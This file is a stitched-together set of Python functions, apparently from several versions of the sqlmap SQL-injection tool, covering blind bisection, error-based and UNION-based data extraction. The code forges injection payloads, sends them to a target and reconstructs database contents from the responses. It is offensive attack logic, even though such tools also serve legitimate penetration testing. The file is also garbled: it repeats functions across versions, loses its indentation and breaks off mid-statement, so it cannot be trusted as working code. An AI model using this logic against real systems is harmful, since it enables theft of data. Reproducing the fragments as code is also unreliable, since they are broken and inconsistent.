def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ partialValue = "" finalValue = "" asciiTbl = getCharset(charsetType) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used kb.partRun = getPartRun() if conf.predictOutput else None if "LENGTH(" in expression or "LEN(" in expression: firstChar = 0 elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ): firstChar = int(conf.firstChar) - 1 elif firstChar is None: firstChar = 0 elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int): firstChar = int(firstChar) - 1 if "LENGTH(" in expression or "LEN(" in expression: lastChar = 0 elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ): lastChar = int(conf.lastChar) elif lastChar in ( None, "0" ): lastChar = 0 elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int): lastChar = int(lastChar) if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) else: expressionUnescaped = unescaper.unescape(expression) if length and not isinstance(length, int) and length.isdigit(): length = int(length) if length == 0: return 0, "" if lastChar > 0 and length > ( lastChar - firstChar ): length = ( lastChar - firstChar ) showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) threads = [] if showEta: progress = ProgressBar(maxValue=length) progressTime = [] if numThreads > 1: if not timeBasedCompare: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: debugMsg = "multi-threading is not considered safe in time-based data retrieval" logger.debug(debugMsg) numThreads = 1 if conf.verbose in (1, 2) and not showEta: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) queriesCount = [0] # As list to deal with nested scoping rules hintlock = threading.Lock() def tryHint(idx): hintlock.acquire() hintValue = kb.hintValue hintlock.release() if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB): posValue = hintValue[idx-1] else: posValue = ord(hintValue[idx-1]) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return hintValue[idx-1] hintlock.acquire() kb.hintValue = None hintlock.release() return None def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) return not result def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result originalTbl = list(charTbl) if continuousOrder: # Used for gradual expanding into unicode charspace shiftTable = [5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.unescape(markingValue % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,128*16-1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = list(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar(idx, retVal): errMsg = "invalid character detected. retrying.." logger.error(errMsg) conf.timeSec += 1 warnMsg = "adjusting time delay to %d seconds" % conf.timeSec logger.warn(warnMsg) return getChar(idx, originalTbl, continuousOrder, expand) else: return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result: return decodeIntToUnicode(retVal) return None def etaProgressUpdate(charTime, index): if len(progressTime) <= ( (length * 3) / 100 ): eta = 0 else: midTime = sum(progressTime) / len(progressTime) midTimeWithLatest = (midTime + charTime) / 2 eta = midTimeWithLatest * (length - index) / conf.threads progressTime.append(charTime) progress.update(index) progress.draw(eta) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: value = [ None ] * length index = [ firstChar ] # As list for python nested function scoping idxlock = threading.Lock() iolock = threading.Lock() valuelock = threading.Lock() kb.threadContinue = True def downloadThread(): try: while kb.threadContinue: idxlock.acquire() if index[0] >= length: idxlock.release() return index[0] += 1 curidx = index[0] idxlock.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break valuelock.acquire() value[curidx-1] = val currentValue = list(value) valuelock.release() if kb.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = 0 for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta: output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') output += status if count != length else " "*len(status) iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) iolock.release() if not kb.threadContinue: if int(threading.currentThread().getName()) == numThreads - 1: partialValue = unicode() for v in value: if v is None: break elif isinstance(v, basestring): partialValue += v if len(partialValue) > 0: dataToSessionFile(replaceNewlineTabs(partialValue)) except (sqlmapConnectionException, sqlmapValueException), errMsg: print kb.threadException = True logger.error("thread %d: %s" % (numThread + 1, errMsg)) except KeyboardInterrupt: kb.threadException = True print logger.debug("waiting for threads to finish") try: while (threading.activeCount() > 1): pass except KeyboardInterrupt: raise sqlmapThreadException, "user aborted" except:
def __oneShotErrorUse(expression, field): global reqCount retVal = conf.hashDB.retrieve(expression) if not any([conf.flushSession, conf.freshQueries]) else None threadData = getCurrentThreadData() threadData.resumed = retVal is not None offset = 1 chunk_length = None if retVal is None: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) nulledCastedField = agent.nullAndCastField(field) if Backend.isDbms(DBMS.MYSQL): chunk_length = MYSQL_ERROR_CHUNK_LENGTH nulledCastedField = queries[DBMS.MYSQL].substring.query % (nulledCastedField, offset, chunk_length) elif Backend.isDbms(DBMS.MSSQL): chunk_length = MSSQL_ERROR_CHUNK_LENGTH nulledCastedField = queries[DBMS.MSSQL].substring.query % (nulledCastedField, offset, chunk_length) # Forge the error-based SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) injExpression = unescaper.unescape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True) reqCount += 1 # Parse the returned page to get the exact error-based # sql injection output output = reduce( lambda x, y: x if x is not None else y, [ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), extractRegexResult( check, listToStrValue(headers.headers if headers else None), re.DOTALL | re.IGNORECASE ), extractRegexResult( check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE, ), ], None, ) if output is not None: output = getUnicode(output, kb.pageEncoding) else: trimmed = ( extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) or extractRegexResult( trimcheck, listToStrValue(headers.headers if headers else None), re.DOTALL | re.IGNORECASE ) or extractRegexResult( trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE, ) ) if trimmed: warnMsg = "possible server trimmed output detected (due to its length): " warnMsg += trimmed logger.warn(warnMsg) if any(map(lambda dbms: Backend.isDbms(dbms), [DBMS.MYSQL, DBMS.MSSQL])): if offset == 1: retVal = output else: retVal += output if output else "" if output and len(output) >= chunk_length: offset += chunk_length else: break else: retVal = output break if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = __errorReplaceChars(retVal) # dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(retVal))) conf.hashDB.write(expression, retVal) return safecharencode(retVal) if kb.safeCharEncode else retVal
def __oneShotErrorUse(expression, field): global reqCount threadData = getCurrentThreadData() retVal = None offset = 1 while True: check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop) nulledCastedField = agent.nullAndCastField(field) if Backend.getIdentifiedDbms() == DBMS.MYSQL: nulledCastedField = queries[DBMS.MYSQL].substring.query % ( nulledCastedField, offset, MYSQL_ERROR_CHUNK_LENGTH) # Forge the error-based SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) injExpression = unescaper.unescape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True) reqCount += 1 # Parse the returned page to get the exact error-based # sql injection output output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: output = getUnicode(output, kb.pageEncoding) if isinstance(output, basestring): output = htmlunescape(output).replace("<br>", "\n") if Backend.getIdentifiedDbms() == DBMS.MYSQL: if offset == 1: retVal = output else: retVal += output if output else '' if not (output and len(output) == MYSQL_ERROR_CHUNK_LENGTH): break else: offset += MYSQL_ERROR_CHUNK_LENGTH else: retVal = output break retVal = __errorReplaceChars(retVal) dataToSessionFile( "[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(retVal))) return retVal
def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 value = _goDns(payload, expression) if payload is None: return None if value is not None: return value timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: msg = "multi-threading is considered unsafe in " msg += "time-based data retrieval. Are you sure " msg += "of your choice (breaking warranty) [y/N] " kb.forceThreads = readInput(msg, default='N', boolean=True) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1 ) and Backend.getIdentifiedDbms() and not re.search( r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID): alias = randomStr(lowercase=True, seed=hash(expression)) expression = "SELECT %s FROM (%s)" % ( field if '.' not in field else re.sub( r".+\.", "%s." % alias, field), expression ) # Note: MonetDB as a prime example expression += " AS %s" % alias else: expression = "SELECT %s FROM (%s)" % (field, expression) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields or Backend.getIdentifiedDbms( ) in (DBMS.RAIMA, ): nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: injExpression = expression length = queryOutputLength(injExpression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d quer%s in %.2f seconds" % ( count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) return value
def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL) ) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms( DBMS.MYSQL) else "REPLICATE", testChar, current) result = unArrayizeValue( _oneShotErrorUse(testQuery, chunkTest=True)) if result and testChar in result: if result == testChar * current: kb.errorChunkLength = current break else: current = len(result) - len(kb.chars.stop) else: current = current / 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) else: kb.errorChunkLength = 0 if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>[^<]*)" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any( _ in field for _ in ("COUNT", "CASE") ) and kb.errorChunkLength and not chunkTest: extendedField = re.search( r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace( field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms( )].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) if page and conf.noEscape: page = re.sub( r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if not kb.testMode: check = "(?P<result>.*?)%s" % kb.chars.stop[:2] output = extractRegexResult( check, trimmed, re.IGNORECASE) if not output: check = "(?P<result>[^\s<>'\"]+)" output = extractRegexResult( check, trimmed, re.IGNORECASE) else: output = output.rstrip() if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and kb.errorChunkLength and len( output) >= kb.errorChunkLength and not chunkTest: offset += kb.errorChunkLength else: break if kb.fileReadMode and output: dataToStdout( _formatPartialContent(output).replace( r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotErrorUse(expression, field=None): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if Backend.isDbms(DBMS.MYSQL): chunk_length = MYSQL_ERROR_CHUNK_LENGTH elif Backend.isDbms(DBMS.MSSQL): chunk_length = MSSQL_ERROR_CHUNK_LENGTH else: chunk_length = None if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and len(output) >= chunk_length: offset += chunk_length else: break if kb.fileReadMode and output: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve( "%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector if not kb.jsonAggMode: injExpression = unescaper.escape( agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] # Note: introduced columns in 1.4.2.42#dev try: kb.tableFrom = vector[9] kb.unionTemplate = vector[10] except IndexError: pass query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[ 6] else: injExpression = unescaper.escape(expression) where = vector[6] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) if kb.jsonAggMode: for _page in (page or "", (page or "").replace('\\"', '"')): if Backend.isDbms(DBMS.MSSQL): output = extractRegexResult( r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: try: retVal = "" fields = re.findall( r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output)) for row in json.loads(output): retVal += "%s%s%s" % ( kb.chars.start, kb.chars.delimiter.join( getUnicode(row[field] or NULL) for field in fields), kb.chars.stop) except: pass else: retVal = getUnicode(retVal) elif Backend.isDbms(DBMS.PGSQL): output = extractRegexResult( r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: retVal = output else: output = extractRegexResult( r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: try: retVal = "" for row in json.loads(output): retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) except: pass else: retVal = getUnicode(retVal) if retVal: break else: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return firstNotNone( extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult( regex, removeReflectiveValues( listToStrValue(( _ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI) ) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlUnescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) elif not kb.jsonAggMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) elif re.search(r"ORDER BY [^ ]+\Z", expression): debugMsg = "retrying failed SQL query without the ORDER BY clause" singleTimeDebugMessage(debugMsg) expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) retVal = _oneShotUnionUse(expression, unpack, limited) elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)): debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1) singleTimeDebugMessage(debugMsg) kb.nchar = False retVal = _oneShotUnionUse(expression, unpack, limited) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif hasattr(conf, "api"): kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): firstChar = 0 elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): length = int(length) else: length = None if length == 